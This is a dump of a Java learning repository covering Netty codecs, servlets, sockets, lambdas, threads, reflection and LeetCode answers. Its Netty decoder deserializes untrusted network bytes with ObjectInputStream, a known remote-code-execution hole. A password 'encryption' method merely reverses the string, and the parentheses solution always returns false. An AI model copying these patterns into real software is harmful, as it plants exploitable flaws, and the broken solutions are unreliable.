参数值 34 | */ 35 | private Object[] values; 36 | } 37 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/io/netty/custom/codec/InvokerProtocolDecoder.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.io.netty.custom.codec; 2 | 3 | import io.netty.buffer.ByteBuf; 4 | import io.netty.channel.ChannelHandlerContext; 5 | import io.netty.handler.codec.ByteToMessageDecoder; 6 | 7 | import java.io.ByteArrayInputStream; 8 | import java.io.ObjectInputStream; 9 | import java.util.List; 10 | 11 | /** 12 | * @author h_vk 13 | * @since 2024/3/29 14 | */ 15 | public class InvokerProtocolDecoder extends ByteToMessageDecoder { 16 | @Override 17 | protected void decode(ChannelHandlerContext channelHandlerContext, ByteBuf byteBuf, List list) throws Exception { 18 | if (byteBuf.readableBytes() < 4) return; 19 | byte[] data = new byte[byteBuf.readableBytes()]; 20 | byteBuf.readBytes(data); 21 | try ( 22 | ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(data)); 23 | ) { 24 | list.add(objectInputStream.readObject()); 25 | byteBuf.skipBytes(byteBuf.readableBytes()); 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/io/netty/custom/codec/InvokerProtocolEncoder.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.io.netty.custom.codec; 2 | 3 | import io.netty.buffer.ByteBuf; 4 | import io.netty.channel.ChannelHandlerContext; 5 | import io.netty.handler.codec.MessageToByteEncoder; 6 | 7 | import java.io.ByteArrayOutputStream; 8 | import java.io.ObjectOutputStream; 9 | 10 | /** 11 | * @author h_vk 12 | * @since 2024/3/29 13 | */ 14 | public class InvokerProtocolEncoder extends MessageToByteEncoder { 15 | @Override 16 | protected void encode(ChannelHandlerContext channelHandlerContext, InvokerProtocol invokerProtocol, ByteBuf byteBuf) throws Exception { 17 | try ( 18 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 19 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); 20 | ) { 21 | objectOutputStream.writeObject(invokerProtocol); 22 | objectOutputStream.flush(); 23 | byteBuf.writeBytes(byteArrayOutputStream.toByteArray()); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/io/netty/tomcat/http/TomcatServlet.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.io.netty.tomcat.http; 2 | 3 | /** 4 | * @author h_vk 5 | * @since 2023/8/9 6 | */ 7 | public abstract class TomcatServlet { 8 | 9 | public void service(TomcatRequest request, TomcatResponse response) throws Exception { 10 | if ("GET".equalsIgnoreCase(request.getMethod())) { 11 | doGet(request, response); 12 | } else { 13 | doPost(request, response); 14 | } 15 | } 16 | 17 | public abstract void doGet(TomcatRequest request, TomcatResponse response) throws Exception; 18 | 19 | public abstract void doPost(TomcatRequest request, TomcatResponse response) throws Exception; 20 | } 21 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/io/netty/tomcat/servlet/FirstServlet.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.io.netty.tomcat.servlet; 2 | 3 | import me.hvkcoder.java_basic.io.netty.tomcat.http.TomcatRequest; 4 | import me.hvkcoder.java_basic.io.netty.tomcat.http.TomcatResponse; 5 | import me.hvkcoder.java_basic.io.netty.tomcat.http.TomcatServlet; 6 | 7 | /** 8 | * @author h_vk 9 | * @since 2023/8/9 10 | */ 11 | public class FirstServlet extends TomcatServlet { 12 | @Override 13 | public void doGet(TomcatRequest request, TomcatResponse response) throws Exception { 14 | response.write("FirstServlet GET"); 15 | } 16 | 17 | @Override 18 | public void doPost(TomcatRequest request, TomcatResponse response) throws Exception { 19 | response.write("FirstServlet POST"); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/io/netty/tomcat/servlet/SecondServlet.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.io.netty.tomcat.servlet; 2 | 3 | import me.hvkcoder.java_basic.io.netty.tomcat.http.TomcatRequest; 4 | import me.hvkcoder.java_basic.io.netty.tomcat.http.TomcatResponse; 5 | import me.hvkcoder.java_basic.io.netty.tomcat.http.TomcatServlet; 6 | 7 | import java.io.IOException; 8 | 9 | /** 10 | * @author h_vk 11 | * @since 2023/8/9 12 | */ 13 | public class SecondServlet extends TomcatServlet { 14 | @Override 15 | public void doGet(TomcatRequest request, TomcatResponse response) throws Exception { 16 | response.write("SecondServlet GET"); 17 | } 18 | 19 | @Override 20 | public void doPost(TomcatRequest request, TomcatResponse response) throws Exception { 21 | response.write("SecondServlet POST"); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/io/socket/InetAddressUsage.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.io.socket; 2 | 3 | import lombok.extern.slf4j.Slf4j; 4 | import org.junit.Test; 5 | 6 | import java.net.InetAddress; 7 | import java.net.UnknownHostException; 8 | import java.util.Arrays; 9 | 10 | /** 11 | * 用于标识网络上的硬件资源,表示互联网协议(IP)地址 12 | * 13 | * @author h-vk 14 | * @since 2021/1/15 15 | */ 16 | @Slf4j 17 | public class InetAddressUsage { 18 | 19 | public static void getAddressInfo(InetAddress address) { 20 | log.info("主机名称:{} ", address.getHostName()); 21 | log.info("IP:{} ", address.getHostAddress()); 22 | log.info("字节数组形式的IP:{}", Arrays.toString(address.getAddress())); 23 | } 24 | 25 | /** 26 | * 通过主机名或IP地址获取主机信息 27 | */ 28 | @Test 29 | public void getByName() throws UnknownHostException { 30 | InetAddress address = InetAddress.getByName("localhost"); 31 | getAddressInfo(address); 32 | } 33 | 34 | /** 35 | * 获取主机信息 36 | */ 37 | @Test 38 | public void getLocalHost() throws UnknownHostException { 39 | InetAddress address = InetAddress.getLocalHost(); 40 | getAddressInfo(address); 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/io/socket/udp/UDPClient.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.io.socket.udp; 2 | 3 | import lombok.extern.slf4j.Slf4j; 4 | 5 | import java.io.IOException; 6 | import java.net.DatagramPacket; 7 | import java.net.DatagramSocket; 8 | import java.net.InetSocketAddress; 9 | 10 | /** 11 | * @author h_vk 12 | * @since 2021/6/30 13 | */ 14 | @Slf4j 15 | public class UDPClient { 16 | public static void main(String[] args) throws IOException { 17 | // 创建 packet 数据包 18 | byte[] data = "Hello, 客户端".getBytes(); 19 | DatagramPacket packet = new DatagramPacket(data, data.length, new InetSocketAddress("127.0.0.1", 9999)); 20 | // 将客户端数据报发送给服务器端 21 | DatagramSocket datagramSocket = new DatagramSocket(); 22 | datagramSocket.send(packet); 23 | // 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/io/socket/udp/UDPServer.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.io.socket.udp; 2 | 3 | import lombok.extern.slf4j.Slf4j; 4 | 5 | import java.io.IOException; 6 | import java.net.DatagramPacket; 7 | import java.net.DatagramSocket; 8 | 9 | /** 10 | * @author h_vk 11 | * @since 2021/6/30 12 | */ 13 | @Slf4j 14 | public class UDPServer { 15 | public static void main(String[] args) throws IOException { 16 | // 创建 DatagramSocket 17 | DatagramSocket datagramSocket = new DatagramSocket(9999); 18 | // 创建 packet 对象,用于接收客户端数据 19 | byte[] data = new byte[1024]; 20 | DatagramPacket packet = new DatagramPacket(data, data.length); 21 | // 接收客户端数据,在未接收到客户端数据时该方法将会阻塞 22 | datagramSocket.receive(packet); 23 | log.info("客户端:{}", new String(data, 0, packet.getLength())); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/java8/lambda/ConsumerUsage.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.java8.lambda; 2 | 3 | import java.util.Arrays; 4 | import java.util.List; 5 | import java.util.function.Consumer; 6 | 7 | /** 8 | * java.util.function.Consumer 接口定义了一个 accept 的方法,接收泛型 T 的对象,没有返回值 9 | * 10 | *

如果需要访问类型 T 的对象,并对其执行某些操作,就可以使用该接口 11 | * 12 | * @author h-vk 13 | * @since 2020-03-17 14 | */ 15 | public class ConsumerUsage { 16 | public static void forEach(List list, Consumer consumer) { 17 | for (T t : list) { 18 | consumer.accept(t); 19 | } 20 | } 21 | 22 | public static void main(String[] args) { 23 | forEach(Arrays.asList("C", "C++", "Java", "C#"), System.out::println); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/java8/lambda/FunctionUsage.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.java8.lambda; 2 | 3 | import java.util.ArrayList; 4 | import java.util.Arrays; 5 | import java.util.List; 6 | import java.util.function.Function; 7 | 8 | /** 9 | * java.util.function.Function 接口定义了一个 apply 方法,它接受一个泛型 T 对象,并返回一个泛型 R 的对象 10 | * 11 | *

如果需要定义一个 Lambda ,将输入对象的信息映射到输出,就可以使用该接口 12 | * 13 | * @author h-vk 14 | * @since 2020/7/25 15 | */ 16 | public class FunctionUsage { 17 | public static void main(String[] args) { 18 | List languages = Arrays.asList("C", "C#", "C++", "Java", "Golang", "Python", "Ruby"); 19 | List result = map(languages, String::length); 20 | System.out.println(result); 21 | } 22 | 23 | public static List map(List lists, Function func) { 24 | List result = new ArrayList<>(); 25 | for (T t : lists) { 26 | result.add(func.apply(t)); 27 | } 28 | return result; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/java8/lambda/PredicateUsage.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.java8.lambda; 2 | 3 | import java.util.ArrayList; 4 | import java.util.Arrays; 5 | import java.util.List; 6 | import java.util.function.Predicate; 7 | 8 | /** 9 | * java.util.function.Predicate 接口定义了一个 test 方法,接收一个泛型对象 T,并返回一个 boolean 10 | * 11 | *

在需要表示一个涉及类型 T 的 boolean 表达式时,就可以使用该接口 12 | * 13 | * @author h-vk 14 | * @since 2020-03-17 15 | */ 16 | public class PredicateUsage { 17 | public static List filter(List list, Predicate predicate) { 18 | ArrayList result = new ArrayList<>(); 19 | for (T t : list) { 20 | if (predicate.test(t)) result.add(t); 21 | } 22 | return result; 23 | } 24 | 25 | public static void main(String[] args) { 26 | List languages = Arrays.asList("C", "C++", "C#", "Java", "Python", "Golang", "Ruby"); 27 | List result = filter(languages, (String s) -> s.startsWith("C")); 28 | System.out.println(result); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/java8/lambda/SupplierUsage.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.java8.lambda; 2 | 3 | import java.util.function.Supplier; 4 | 5 | /** 6 | * java.util.function.Supplier 接口定义了一个 get 的方法,返回一个指定的泛型 7 | * 8 | * @author h_vk 9 | * @since 2022/1/23 10 | */ 11 | public class SupplierUsage { 12 | 13 | public static void main(String[] args) { 14 | Supplier supplier = SupplierUsage::new; 15 | System.out.println(supplier.get()); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/juc/OnlyMain.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.juc; 2 | 3 | import java.lang.management.ManagementFactory; 4 | import java.lang.management.ThreadInfo; 5 | import java.lang.management.ThreadMXBean; 6 | import java.util.Arrays; 7 | 8 | /** 9 | * 获取 JVM 默认线程 10 | * 11 | * @author h_vk 12 | * @since 2022/1/10 13 | */ 14 | public class OnlyMain { 15 | public static void main(String[] args) { 16 | ThreadMXBean threadMXBean = ManagementFactory.getThreadMXBean(); 17 | ThreadInfo[] threadInfos = threadMXBean.dumpAllThreads(false, false); 18 | Arrays.stream(threadInfos).forEach(threadInfo -> System.out.println("[" + threadInfo.getThreadId() + "]:" + threadInfo.getThreadName())); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/juc/thread/Thread04_DeadLock.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.juc.thread; 2 | 3 | import lombok.extern.slf4j.Slf4j; 4 | 5 | import java.util.concurrent.TimeUnit; 6 | 7 | /** 8 | * 死锁 9 | * 10 | * @author h_vk 11 | * @since 2021/9/26 12 | */ 13 | @Slf4j 14 | public class Thread04_DeadLock { 15 | public static void main(String[] args) { 16 | final Object A = new Object(); 17 | final Object B = new Object(); 18 | 19 | new Thread(() -> { 20 | synchronized (A) { 21 | try { 22 | TimeUnit.SECONDS.sleep(1); 23 | synchronized (B) { 24 | log.info("{} 获取到了两把锁", Thread.currentThread().getName()); 25 | } 26 | } catch (InterruptedException e) { 27 | e.printStackTrace(); 28 | } 29 | } 30 | }, "A").start(); 31 | 32 | new Thread(() -> { 33 | synchronized (B) { 34 | try { 35 | TimeUnit.SECONDS.sleep(1); 36 | synchronized (A) { 37 | log.info("{} 获取到了两把锁", Thread.currentThread().getName()); 38 | } 39 | } catch (InterruptedException e) { 40 | e.printStackTrace(); 41 | } 42 | } 43 | }, "B").start(); 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/juc/thread/Thread05_Interrupted.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.juc.thread; 2 | 3 | import lombok.extern.slf4j.Slf4j; 4 | 5 | import java.util.concurrent.TimeUnit; 6 | 7 | /** 8 | * 线程中断 9 | * 10 | * @author h_vk 11 | * @since 2022/4/12 12 | */ 13 | @Slf4j 14 | public class Thread05_Interrupted { 15 | public static void main(String[] args) throws InterruptedException { 16 | Thread thread = new Thread(() -> { 17 | // 获取线程 interrupted 标记 18 | while (!Thread.currentThread().isInterrupted()) { 19 | try { 20 | TimeUnit.SECONDS.sleep(1); 21 | log.info("线程正在执行......."); 22 | } catch (InterruptedException e) { 23 | // 当抛出 InterruptedException 时,interrupt 标志位将被复位 false 24 | log.info("线程已结束......"); 25 | Thread.currentThread().interrupt(); 26 | break; 27 | } 28 | } 29 | }); 30 | thread.start(); 31 | 32 | TimeUnit.SECONDS.sleep(5); 33 | log.info("通知线程结束"); 34 | thread.interrupt(); // 更改 interrupt 状态 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/juc/thread/Thread06_ThreadLocal.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.juc.thread; 2 | 3 | /** 4 | * @author h_vk 5 | * @since 2022/4/12 6 | */ 7 | public class Thread06_ThreadLocal { 8 | } 9 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/jvm/proxy/jdk/CustomInvocationHandler.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.jvm.proxy.jdk; 2 | 3 | import java.lang.reflect.Method; 4 | 5 | /** 6 | * @author h_vk 7 | * @since 2022/4/2 8 | */ 9 | public interface CustomInvocationHandler { 10 | public Object invoke(Object proxy, Method method, Object[] args) throws Throwable; 11 | } 12 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/jvm/proxy/test/Person.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.jvm.proxy.test; 2 | 3 | /** 4 | * @author h_vk 5 | * @since 2022/4/2 6 | */ 7 | public interface Person { 8 | public String sayHello(String name, Integer age); 9 | } 10 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/jvm/reflect/Robot.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.jvm.reflect; 2 | 3 | import java.util.List; 4 | import java.util.Map; 5 | 6 | /** 7 | * @author h-vk 8 | * @since 2020/8/23 9 | */ 10 | public class Robot { 11 | private String msg; 12 | 13 | public String getMsg() { 14 | return msg; 15 | } 16 | 17 | public void setMsg(String msg) { 18 | this.msg = msg; 19 | } 20 | 21 | public String hi() { 22 | return "Hi," + this.msg; 23 | } 24 | 25 | private String sayHello(String name) { 26 | return "Hello, " + name; 27 | } 28 | 29 | public Map test(Map map, List list) { 30 | System.out.println("Hello Test"); 31 | return null; 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/jvm/reflect/annotation/ch01/PasswordUtils.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.jvm.reflect.annotation.ch01; 2 | 3 | import java.util.List; 4 | 5 | /** 6 | * @author h-vk 7 | * @since 2020/6/23 8 | */ 9 | public class PasswordUtils { 10 | @UseCase(id = 47, description = "Password must contain at least on numeric") 11 | public boolean validatePassword(String password) { 12 | return password.matches("\\w*\\d\\w*"); 13 | } 14 | 15 | @UseCase(id = 48) 16 | public String encryptPassword(String password) { 17 | return new StringBuilder(password).reverse().toString(); 18 | } 19 | 20 | @UseCase(id = 49, description = "New password cant't equal previously used ones") 21 | public boolean checkForNewPassword(List prevPasswords, String password) { 22 | return !prevPasswords.contains(password); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/jvm/reflect/annotation/ch01/UseCase.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.jvm.reflect.annotation.ch01; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | 8 | /** 9 | * @author h-vk 10 | * @since 2020/6/23 11 | */ 12 | @Target(ElementType.METHOD) // 指定注解的作用范围 13 | @Retention(RetentionPolicy.RUNTIME) // 指定 RUNTIME 级别保存注解 14 | public @interface UseCase { 15 | public int id(); 16 | 17 | public String description() default "no description"; 18 | } 19 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/jvm/reflect/annotation/ch01/UseCaseTracker.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.jvm.reflect.annotation.ch01; 2 | 3 | import java.lang.reflect.Method; 4 | 5 | /** 6 | * 注解处理器,使用Java的反射机制实现 7 | * 8 | * @author h-vk 9 | * @since 2020/6/23 10 | */ 11 | public class UseCaseTracker { 12 | public static void trackUseCases(Class cl) { 13 | // 通过反射 返回类中除 继承的所有方法 14 | for (Method method : cl.getDeclaredMethods()) { 15 | // 通过反射 返回指定类型的注解对象 16 | UseCase annotation = method.getAnnotation(UseCase.class); 17 | if (annotation != null) { 18 | System.out.printf("Found Use Case:%d, %s\n", annotation.id(), annotation.description()); 19 | } 20 | } 21 | } 22 | 23 | public static void main(String[] args) { 24 | trackUseCases(PasswordUtils.class); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/jvm/reflect/annotation/ch02/Student.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.jvm.reflect.annotation.ch02; 2 | 3 | import me.hvkcoder.java_basic.jvm.reflect.annotation.ch02.database.Constraints; 4 | import me.hvkcoder.java_basic.jvm.reflect.annotation.ch02.database.DBTable; 5 | import me.hvkcoder.java_basic.jvm.reflect.annotation.ch02.database.JdbcType; 6 | import me.hvkcoder.java_basic.jvm.reflect.annotation.ch02.database.TableField; 7 | 8 | /** 9 | * @author h-vk 10 | * @since 2020/10/5 11 | */ 12 | @DBTable("student") 13 | public class Student { 14 | @TableField(value = "`id`", length = 38, comment = "用户ID", jdbcType = JdbcType.BIGINT, constraints = @Constraints(primaryKey = true)) 15 | private Long id; 16 | 17 | @TableField(value = "`name`", length = 255, comment = "用户名", jdbcType = JdbcType.VARCHAR, constraints = @Constraints(allowNull = true)) 18 | private String name; 19 | } 20 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/jvm/reflect/annotation/ch02/database/Constraints.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.jvm.reflect.annotation.ch02.database; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | 8 | /** 9 | * 定义数据表字段的约束 10 | * 11 | * @author h-vk 12 | * @since 2020/6/23 13 | */ 14 | @Target(ElementType.FIELD) 15 | @Retention(RetentionPolicy.RUNTIME) 16 | public @interface Constraints { 17 | /** 18 | * 是否为主键 19 | */ 20 | boolean primaryKey() default false; 21 | 22 | /** 23 | * 是否为空 24 | */ 25 | boolean allowNull() default false; 26 | 27 | /** 28 | * 是否为唯一值 29 | */ 30 | boolean unique() default false; 31 | } 32 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/jvm/reflect/annotation/ch02/database/DBTable.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.jvm.reflect.annotation.ch02.database; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | 8 | /** 9 | * 定义数据表注解 10 | * 11 | * @author h-vk 12 | * @since 2020/10/5 13 | */ 14 | @Target(ElementType.TYPE) 15 | @Retention(RetentionPolicy.RUNTIME) 16 | public @interface DBTable { 17 | String value() default ""; 18 | } 19 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/jvm/reflect/annotation/ch02/database/JdbcType.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.jvm.reflect.annotation.ch02.database; 2 | 3 | /** 4 | * JDBC 类型 5 | * 6 | * @author h-vk 7 | * @since 2020/10/9 8 | */ 9 | public enum JdbcType { 10 | BIGINT, 11 | VARCHAR, 12 | NUMERIC, 13 | UNDEFINED 14 | } 15 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/jvm/reflect/annotation/ch02/database/TableField.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.jvm.reflect.annotation.ch02.database; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | 8 | /** 9 | * 定义数据字段注解 10 | * 11 | * @author h-vk 12 | * @since 2020/10/9 13 | */ 14 | @Target(ElementType.FIELD) 15 | @Retention(RetentionPolicy.RUNTIME) 16 | public @interface TableField { 17 | /** 18 | * 字段映射名称 19 | */ 20 | String value() default ""; 21 | 22 | /** 23 | * 字段长度 24 | */ 25 | int length() default 0; 26 | 27 | /** 28 | * 字段备注 29 | */ 30 | String comment() default ""; 31 | 32 | /** 33 | * 字段类型 34 | */ 35 | JdbcType jdbcType() default JdbcType.VARCHAR; 36 | 37 | /** 38 | * 字段约束 39 | */ 40 | Constraints constraints() default @Constraints; 41 | } 42 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/leetcode/LeetCode20_有效的括号.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.leetcode; 2 | 3 | import java.util.Stack; 4 | 5 | /** 6 | * https://leetcode-cn.com/problems/valid-parentheses/ 7 | * 8 | * @author h-vk 9 | * @since 2021/3/13 10 | */ 11 | public class LeetCode20_有效的括号 { 12 | public static boolean isValid(String s) { 13 | if (s.length() % 2 == 1) return false; 14 | 15 | Stack stack = new Stack<>(); 16 | for (int i = 0; i < s.length(); i++) { 17 | char c = s.charAt(i); 18 | if (c == '{' || c == '[' || c == '(') { 19 | stack.push(c); 20 | } else { 21 | if (stack.isEmpty()) { 22 | return false; 23 | } 24 | Character pop = stack.pop(); 25 | if (c == '}' && pop != '{') { 26 | return false; 27 | } else if (c == ']' && pop != '[') { 28 | return false; 29 | } else if (c == ')' && pop != '(') { 30 | return false; 31 | } 32 | } 33 | } 34 | return false; 35 | } 36 | 37 | public static void main(String[] args) { 38 | System.out.println(isValid("()[]{}")); 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/leetcode/LeetCode35_搜索插入位置.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.leetcode; 2 | 3 | /** 4 | * https://leetcode-cn.com/problems/search-insert-position/ 5 | * 6 | *

解法:使用二分查找法,时间复杂度O(Nlog) 空间复杂度O(1) 7 | * 8 | * @author h-vk 9 | * @since 2020/7/19 10 | */ 11 | public class LeetCode35_搜索插入位置 { 12 | public static int searchInsert(int[] nums, int target) { 13 | int startIndex = 0, endIndex = nums.length - 1; 14 | 15 | // 如果第一个元素大于 target 直接返回 0 16 | if (nums[0] > target) return 0; 17 | 18 | // 实现二分查找法 19 | while (startIndex <= endIndex) { 20 | int mid = startIndex + endIndex >> 1; 21 | if (nums[mid] == target) return mid; 22 | else if (nums[mid] > target) endIndex = mid - 1; 23 | else startIndex = mid + 1; 24 | } 25 | 26 | // 如果 target 在数组中不存在,则返回其应该插入的位置 27 | return endIndex + 1; 28 | } 29 | 30 | public static void main(String[] args) { 31 | int[] nums = {1, 3, 5, 6}; 32 | int target = 4; 33 | int index = searchInsert(nums, target); 34 | System.out.println(index); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/leetcode/LeetCode509_斐波那契数.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.leetcode; 2 | 3 | /** 4 | * https://leetcode.cn/problems/fibonacci-number/ 5 | * 6 | * @author h_vk 7 | * @since 2023/12/6 8 | */ 9 | public class LeetCode509_斐波那契数 { 10 | public static void main(String[] args) { 11 | for (int i = 0; i < 10; i++) { 12 | System.out.println(fibSolution1(i)); 13 | } 14 | 15 | System.out.println(); 16 | 17 | for (int i = 0; i < 10; i++) { 18 | System.out.println(fibSolution2(i)); 19 | } 20 | } 21 | 22 | public static int fibSolution1(int n) { 23 | int a = 0, b = 1; 24 | for (int i = 0; i < n; i++) { 25 | int tmp = a; 26 | a = b; 27 | b = tmp + b; 28 | } 29 | return a; 30 | } 31 | 32 | public static int fibSolution2(int n) { 33 | if (n <= 0) return 0; 34 | if (n < 2) return 1; 35 | return fibSolution2(n - 1) + fibSolution2(n - 2); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/leetcode/LeetCode70_爬楼梯.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.leetcode; 2 | 3 | /** 4 | * https://leetcode.cn/problems/climbing-stairs/ 5 | * 解法1:斐波那契数列的变形 6 | * 7 | * @author h_vk 8 | * @since 2023/12/5 9 | */ 10 | public class LeetCode70_爬楼梯 { 11 | public static void main(String[] args) { 12 | int a = 0, b = 1; 13 | for (int i = 1; i <= 45; i++) { 14 | int tmp = a; 15 | a = b; 16 | b = tmp + b; 17 | } 18 | System.out.println(b); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/leetcode/LeetCode724_寻找数组的中心索引.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.leetcode; 2 | 3 | import java.util.Arrays; 4 | 5 | /** 6 | * https://leetcode-cn.com/problems/find-pivot-index/ 7 | * 8 | *

解法:对数组求和,并循环与 前缀和 对比差值,时间复杂度 O(1) 空间复杂度 O(1) 9 | * 10 | *

前缀和公式:leftSum + x + rightSum = sum x = sum - leftSum * 2 11 | * 12 | * @author h-vk 13 | * @since 2020/7/19 14 | */ 15 | public class LeetCode724_寻找数组的中心索引 { 16 | 17 | public static int pivotIndex(int[] nums) { 18 | int leftSum = 0; 19 | // 数组求和 20 | int sum = Arrays.stream(nums).sum(); 21 | 22 | // 循环比较前缀和 23 | for (int i = 0; i < nums.length; i++) { 24 | if (leftSum * 2 + nums[i] == sum) return i; 25 | leftSum += nums[i]; 26 | } 27 | return -1; 28 | } 29 | 30 | public static void main(String[] args) { 31 | int[] nums = {1, 7, 3, 6, 5, 6}; 32 | int index = pivotIndex(nums); 33 | System.out.println(index); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/leetcode/LeetCode83_删除排序链表中的重复元素.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.leetcode; 2 | 3 | /** 4 | * https://leetcode-cn.com/problems/remove-duplicates-from-sorted-list/ 5 | * 6 | * @author h-vk 7 | * @since 2020/11/17 8 | */ 9 | public class LeetCode83_删除排序链表中的重复元素 { 10 | public static void main(String[] args) { 11 | ListNode head = new ListNode(1); 12 | head.next = new ListNode(1); 13 | head.next.next = new ListNode(2); 14 | 15 | ListNode listNode = deleteDuplicates(head); 16 | while (listNode != null) { 17 | System.out.println(listNode.val); 18 | listNode = listNode.next; 19 | } 20 | } 21 | 22 | public static ListNode deleteDuplicates(ListNode head) { 23 | ListNode curr = head; 24 | while (curr != null && curr.next != null) { 25 | if (curr.val == curr.next.val) { 26 | curr.next = curr.next.next; 27 | } else { 28 | curr = curr.next; 29 | } 30 | } 31 | return head; 32 | } 33 | 34 | public static class ListNode { 35 | int val; 36 | ListNode next; 37 | 38 | ListNode(int x) { 39 | val = x; 40 | } 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /java/java-basic/src/main/java/me/hvkcoder/java_basic/leetcode/LeetCode_704_二分查找.java: -------------------------------------------------------------------------------- 1 | package me.hvkcoder.java_basic.leetcode; 2 | 3 | /** 4 | * 